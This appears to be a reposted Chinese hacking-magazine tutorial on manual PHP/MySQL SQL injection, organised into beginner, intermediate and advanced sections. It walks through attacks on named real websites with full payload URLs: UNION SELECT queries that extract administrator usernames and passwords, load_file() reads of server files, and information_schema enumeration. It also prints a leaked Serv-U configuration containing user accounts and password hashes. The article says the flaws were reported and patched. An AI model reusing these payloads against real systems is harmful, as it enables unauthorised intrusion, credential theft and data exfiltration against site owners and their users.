標籤:
謹以此獻給駭客x檔案的新手們
前言:
現在的網路,最流行的攻擊手段有兩種,一種是緩衝區溢位攻擊,一種是SQL注入,相對而言,最流行的還是指令碼注入,而指令碼注入漏洞更是風靡駭客界。不管是老鳥還是新起步的小菜,都會為它那巨大的威力和靈活多變的招式所著迷!
正是因為注入攻擊的流行,使的市面上的注入工具層出不窮!比較出名的有小竹的NBSI、教主的HDSI和啊D的注入工具等等!這大大方便的小菜們掌握注入漏洞!可是,工具是死的,注入的手法卻是活的,能否根據實際情況靈活地構造SQL注入語句,得到自己想要的資訊,是高手與小菜的根本區別!只用工具,而不去管它的原理,是不可能得到提高的,當然,在遇到一些特殊情況的時候,那些只會用工具的小菜們也只能放棄了!所以學會手工注入自己構造SQL注入語句是一個駭客愛好者必上的一堂課!我希望這篇文章能夠給那些還不會手工注入的朋友一點啟發!協助大家早日擺脫工具,早日踏入 高手的行列!
初級篇
PHP注入的常規手段也是先判斷注入點,我們現在以華東理工大學的一個注入點(http://career.ecust.edu.cn/pop_zp.php?id=158)為例。在網址後面輸入 and 1=1 返回正確頁面,一:
圖一
再輸入 and 1=2 返回錯誤頁面,二
圖二
那麼這樣就可以判斷此處存在注入點。
然後就是判斷欄位長度,使用的語句是“order by”在網址後面輸入 order by 10 返回正確頁面,三:
圖三
說明欄位長度大於10,然後再輸入 order by 20 返回錯誤頁面,四:
圖四
說明欄位長度在10到20之間,當我們輸入 order by 11 的時候返回的也是錯誤頁面,這就確定了欄位長度為10
然後使用語句“and 1=2 union select 1,2,3,4,5,6,7,8,9,10”爆出2,4,5,6四個欄位位置,五:
圖五
在mysql中 有很多的注射能用到的函數 比如 user() database() version() 分別用來查看當前資料庫連接的使用者名稱,資料庫名稱 以及mysql的版本,這裡 我把 欄位4換成 user() 也就是說 讓頁面在欄位4的位置 顯示當前資料庫連接的使用者名稱
http://career.ecust.edu.cn/pop_z ... 0union%20select%201,2,3,user(),5,6,7,8,9,10,六
圖六
繼續換成其它的函數名,分別顯示,七,圖八
圖七
圖八
然後是猜解管理員的表明 這裡說明下 如果當前串連資料庫的使用者是 root的話 可以嘗試使用 loadfile()函數來查看檔案內容 不過前提是要知道檔案的絕對路徑 這裡 我們猜解下管理員表名 在語句後加上 from 表名
http://career.ecust.edu.cn/pop_z ... 0union%20select%201,2,3,4,5,6,7,8,9,10%20from%20admin ,九
圖九
返回錯誤頁面說明不存在admin這個表名,輸入users,十
圖十
返回正確頁面,說明存在users這個表名
常用的表名有:admin user news manage a_admin x_admin m_admin adminuser admin_user article_admin administrator manager member memberlist users Manage_User user_info admin_userinfo login new使用者會員
摘要:我們繼續猜解欄位名稱 常用的列名有:username password id adminusername admin_username adminname admin_name admin adminuser admin_user user_name user_admin admin_passwod administrator administrators ad...
我們繼續猜解欄位名稱
常用的列名有:username password id adminusername admin_username adminname admin_name admin adminuser admin_user user_name user_admin admin_passwod administrator administrators adminpassword admin_pwd adminpass userpass user_pass 使用者
使用者名稱 密碼 帳號
輸入
http://career.ecust.edu.cn/pop_z ... 0union%20select%201,username,3,password,5,6,7,8,9,10%20from%20users
在2,4處分別爆出管理使用者名和密碼,十一
圖十一
這裡僅僅是一個管理員 其實 這個站管理員很多 我們使用判斷語句 來查詢不同的管理員的使用者名稱和密碼在管理員表中有個id欄位 我們用這個欄位的值來查詢不同的管理員 從1開始
http://career.ecust.edu.cn/pop_z ... 0union%20select%201,username,3,password,5,6,7,8,9,10%20from%20users%20where%20id%20=2,十二
圖十二
之前我已經看過來從3到127都存在管理員,在這裡我就不一一暴了(汗,這麼多管理員)!
接下來就是找後台,拿webshell了,這個就不在注入的範圍之內,我也就不示範了。
中級篇
這節課說的是 php+mysql注入中load_file()函數的應用
注入的過程中 如果當前資料庫連接使用者為root或者具有root許可權就可以嘗試使用這個函數來讀取檔案 比如在linux下我們可以讀取 /etc/passwd 和/etc/shadow來暴力破解linux密碼
在windows下 我們可以讀取 一些常見的檔案以及敏感的地方比如 serv-u的設定檔 my.ini等等
剛才我們已經爆出了當前資料庫連接的使用者名稱[email protected]
查看下 c:\boot.ini 這裡假設是windows系統 其實就是windows系統
格式是這樣的 load_file(0x+檔案絕對路徑的16進位)
我們先用工具轉換下 剛才的斷了 我們繼續 我一直用這個工具轉換
c:\boot.ini轉換成16進位是633A5C626F6F742E696E69
我們load_file()看看,輸入
http://career.ecust.edu.cn/pop_z ... 0union%20select%201,2,3,load_file(0x633A5C626F6F742E696E69),5,6,7,8,9,10,十三
圖十三
成功爆出boot.ini的內容
我們再來嘗試暴一下my.ini這個檔案裡的內容,我這裡找了一下my.ini在c:\windows\下,我們使用轉換工具c:\windows\my.ini對應的16進位是633A5C77696E646F77735C6D792E696E69,輸入
http://career.ecust.edu.cn/pop_z ... 0union%20select%201,2,3,load_file(0x633A5C77696E646F77735C6D792E696E69),5,6,7,8,9,10,十四
圖十四
因為這台伺服器上沒有安裝serv-u,我們使用另一個網站來測試一下
目標:http://www.nihaocg.com/job/jobinfo.php?id=739,欄位長度33
我們先來看一下是否存在serv-u,十五
圖十五
在這裡我經過猜測,發現其serv-u的密碼檔案ServUDaemon.ini放在e:\serv-u\目錄下,e:\serv-u\servudaemon.ini對應的16進位是
653A5C736572762D755C73657276756461656D6F6E2E696E69在網址裡輸入
http://www.nihaocg.com/job/jobin ... 0union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,load_file(0x653A5C736572762D755C73657276756461656D6F6E2E696E69),15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33成功爆出ServUDaemon.ini密碼檔案裡的內容,十六
圖十六
Version=6.3.0.0
ProcessID=1724
[DOMAINS]
Domain1=0.0.0.0||21|nihaocg|1|0|0
[Domain1]
User1=david|1|0
User2=duckula|1|0
[USER=david|1]
Password=jo1F28C9BB1377A27433FFB4E70B7C828B
HomeDir=e:\
RelPaths=1
PasswordLastChange=1230691605
TimeOut=600
Access1=E:\wwwroot|RWAMLP
[USER=duckula|1]
Password=zeDB0E640BED077EF52EB2B366B236CA67
HomeDir=E:\
PasswordLastChange=1230791979
TimeOut=600
Access1=E:\wwwroot|RWAMLP
這裡 我們不但看見了網站的目錄 而且可以嘗試破解serv-u的密碼
進階篇
這節課說的是php+mysql注入中的手工爆庫 爆表 爆欄位,我們在前面很容易就可以爆出一個資料庫,但是我們在後面的猜表中,如果沒有猜猜表名,對於一些人來說可能就認為沒辦法了,這時我們就可以利用暴庫,暴表,暴欄位來獲得管理員的使用者名稱和密碼。
摘要:這裡我使用的一個注入點是:http://study.feloo.com/news.php?id=114129,欄位長度為19,分別爆出2,4,5,13三個欄位位置。 我們把2處替換為schema_name,然後在後面加上from information_schema.SCHEMATA limit 0...
這裡我使用的一個注入點是:http://study.feloo.com/news.php?id=114129,欄位長度為19,分別爆出2,4,5,13三個欄位位置。
我們把2處替換為schema_name,然後在後面加上from information_schema.SCHEMATA limit 0,1/*這條語句,具體形式為:
http://study.feloo.com/news.php? ... 0union%20select%201,schema_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%20from%20information_schema.SCHEMATA%20limit%200,1/*,十七
圖十七
成功爆出網站一個資料庫information_schema,但是這個庫並不一定是我們想要的資料庫(我們所要找的是存在管理使用者名和密碼的資料庫)
這裡 limit 0,1/* 這裡意思是 爆出第一個資料庫的名字 如果要看第二個資料庫名
就一次增加 limit後的值 這裡 為0 我增加1,又爆出另一個資料庫,十八
圖十八
逐次加一,就會分別爆出網站的其它資料庫名
這個網站之前我通過
http://study.feloo.com/news.php? ... 0union%20select%201,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
已經爆出了網站的資料庫名為:study
我們在繼續暴表,就暴study這個庫的表吧
http://study.feloo.com/news.php? ... 0union%20select%201,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%20from%20information_schema.tables%20where%20TABLE_SCHEMA=0x7374756479%20limit%200,1/*
把2的位置替換為table_name,這裡TABLE_SCHEMA=0x7374756479中的0x7374756479是0x+study的十六進位形式。十九
圖十九
成功爆出一個表名,我們還是通過增加limit後面的數字來逐一爆出資料庫中其它的表名
暴欄位
http://study.feloo.com/news.php? ... 0union%20select%201,COLUMN_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=0x61646D696E%20limit%200,1/*
把2的位置替換成COLUMN_NAME,在TABLE_NAME=0x61646D696E中,0x61646D696E是0x+admin的十六進位形式,二十
圖二十
成功爆出admin表中的一個欄位名,通過增加limit後面的數字分別爆出其它的欄位名,如二十一,二十二
圖十二一
圖二十二
至此所有的欄位名已經被成功爆出,我們在利用初級篇中講到的爆出管理員的使用者名稱和密碼了。
Concat函數的使用
有時候我們猜到的欄位長度可能是1,這樣對我們的手工就有所限制,這時我們可以藉助concat函數來一次性爆出我們所希望得到的東西
具體用法是concat(我們想要暴的,0x3A,我們想要暴的,0x3A,我們想要暴的……)
我們還拿華東理工大學的那個注入點為例
把4處替換為concat(user(),0x3A,database(),0x3A,version()),0x3A是0x+:的十六進位形式,我們這裡用冒號來分隔開當前資料庫連接的使用者名稱,資料庫名稱 以及mysql的版本。
輸入
http://career.ecust.edu.cn/pop_z ... 0union%20select%201,2,3,concat(user(),0x3A,database(),0x3A,version()),5,6,7,8,9,10
二十三
圖二十三
至此,我們的PHP手工注入到此就結束了,希望此篇文章能對初學者有所協助,文中所涉及到的網站的漏洞,我已經通知相關的管理員做好了補丁,大家就不要再去嘗試了。我們學習的目的不是為了破壞,而是為了更好的維護當前的網路,希望大家能一如既往的關注《駭客x檔案》。
本文轉自 ☆★ 黑白前線 ★☆ - www.hackline.net
原文連結:http://www.hackline.net/a/special/wlgf/wlrq/2009/1031/1310_3.html
PHP注入大全,分低級篇,中級篇,進階篇